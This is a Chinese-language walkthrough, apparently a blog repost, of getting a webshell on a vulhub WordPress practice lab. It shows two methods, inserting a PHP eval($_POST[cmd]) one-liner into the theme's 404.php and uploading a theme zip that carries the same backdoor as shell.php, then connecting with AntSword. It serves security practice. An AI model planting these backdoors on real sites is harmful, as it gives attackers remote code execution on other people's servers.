当前位置: 首页 > article >正文

【vulhub/wordpress靶场】------获取webshell

1.进入靶场环境:

输入:cd / vulhub / wordpress / pwnscriptum

修改版本号:  vim docker-compose.yml     
version: '3'   保存退出
 
开启靶场环境: docker - compose up - d

开启成功,docker ps查看端口   靶场环境8080端口映射到80端口

2. 浏览器访问靶场ip+端口   

192.168.182.143:8080

选择简体中文,点击“继续”。

3.  填入信息,进行安装

安装完成,进行登录。

4.获得webshell

4.1 姿势一:后台修改模板拿webshell

4.1.1  修改模板内容

修改其WP的模板写⼊⼀句话⽊⻢后⻔并访问其⽂件即可GetShell;登陆WP后点击 【外
观】 --》 【编辑】 --》 404.php

4.1.2  写入一句话木马

在其404模板中插⼊⼀句话⽊⻢代码..点击 【更新⽂件】 按钮
<? php eval ( $_POST [ cmd ]);?>

4.1.3 拼接路径,访问文件,蚁剑连接

#拼接路径       /wp-content/themes/twentyfifteen/404.php
访问连接:   http://192.168.182.143:8080/wp-content/themes/twentyfifteen/404.php

 4.2 姿势二:上传主题拿WebShell

4.2.1写入木马文件,和正常的主题模板合并压缩为1.zip文件

写入一句话木马,保存文件为shell.php。
<?php @eval($_POST[cmd]);?>
在网址中任意下载一个免费的模板zip文件; wordpress免费主题|wordpress企业主题|wordpress cms主题|wordpress网站模板|wordpress模板-WEB主题公园
解压后,将shell.php文件拖入解压包,并再次压缩为1.zip文件

4.2.2 上传主题

点击 【外 观】 --》 【主题】 --》 【添加】 --》 【上传主题】 --》 【浏览】 --》 【现在安装】

4.2.3  拼接路径,访问连接,蚁剑连接

#拼接路径     /wp-content/themes/压缩包解压后文件名/木马文件名.php

该压缩包文件,再上传上去后,会自动解压,从而进行安装主题。此次木马php文件也在解压后的文件里,即在网站根目录且可以访问。

访问:http://192.168.182.143:8080/wp-content/themes/1/shell.php   【这里的1,指的是压缩包解压得到的文件的文件名】

练习结束,知道目标网站的CMS架构,搜索常见漏洞可进行尝试。
修改原有php文件,写入一句话木马;
上传包含木马php文件的正常模板压缩包,上传完成后,会自动解压安装主题,因而木马文件成功上传到网站,访问木马文件,即可获取webshell。
WordPress框架,这两种方式通用。
希望对大家有所帮助,谢谢。
再见。。。
                                                                                                        -----------2025/3/20  20:25

http://www.kler.cn/a/594343.html

相关文章:

  • 音视频之H.265码流分析及解析
  • SpringBoot第四站(1):数据层开发: 配置数据源,整合jdbcTemplate
  • Node.js技术原理分析系列6——基于 V8 封装一个自己的 JavaScript 运行时
  • STM32 模拟SPI 模式0
  • 【数据结构】单源最短路径dijkstra算法描述及模板
  • 【Linux】信号:产生信号
  • Unity 接入抖音小游戏
  • 低代码与在线教育系统源码:企业内训平台开发的新思路
  • 智慧社区、智慧消防物联网解决方案PPT(68页)
  • 标准化欧氏距离公式
  • 移动端医疗AI诊断系统的设计思路与技术展望——多模态生理数据分析的理论框架探讨
  • uniapp配置代理解决跨域问题
  • C#入门学习记录(五)轻松掌握条件分支与循环语句
  • uniapp 实现的下拉菜单组件
  • 第四课:Python数组与链表(动态数据结构的深度探索)
  • 单台openEuler24.03 LTS下的开源大数据环境搭建
  • Spring 如何创建 Bean 实例的?
  • 智慧楼宇:科技编织的未来生活图景
  • 服务器数据恢复—服务器raid故障导致上层分区不可用的数据恢复案例
  • 下一代代币技术白皮书:合规化智能合约与零知识证明隐私协议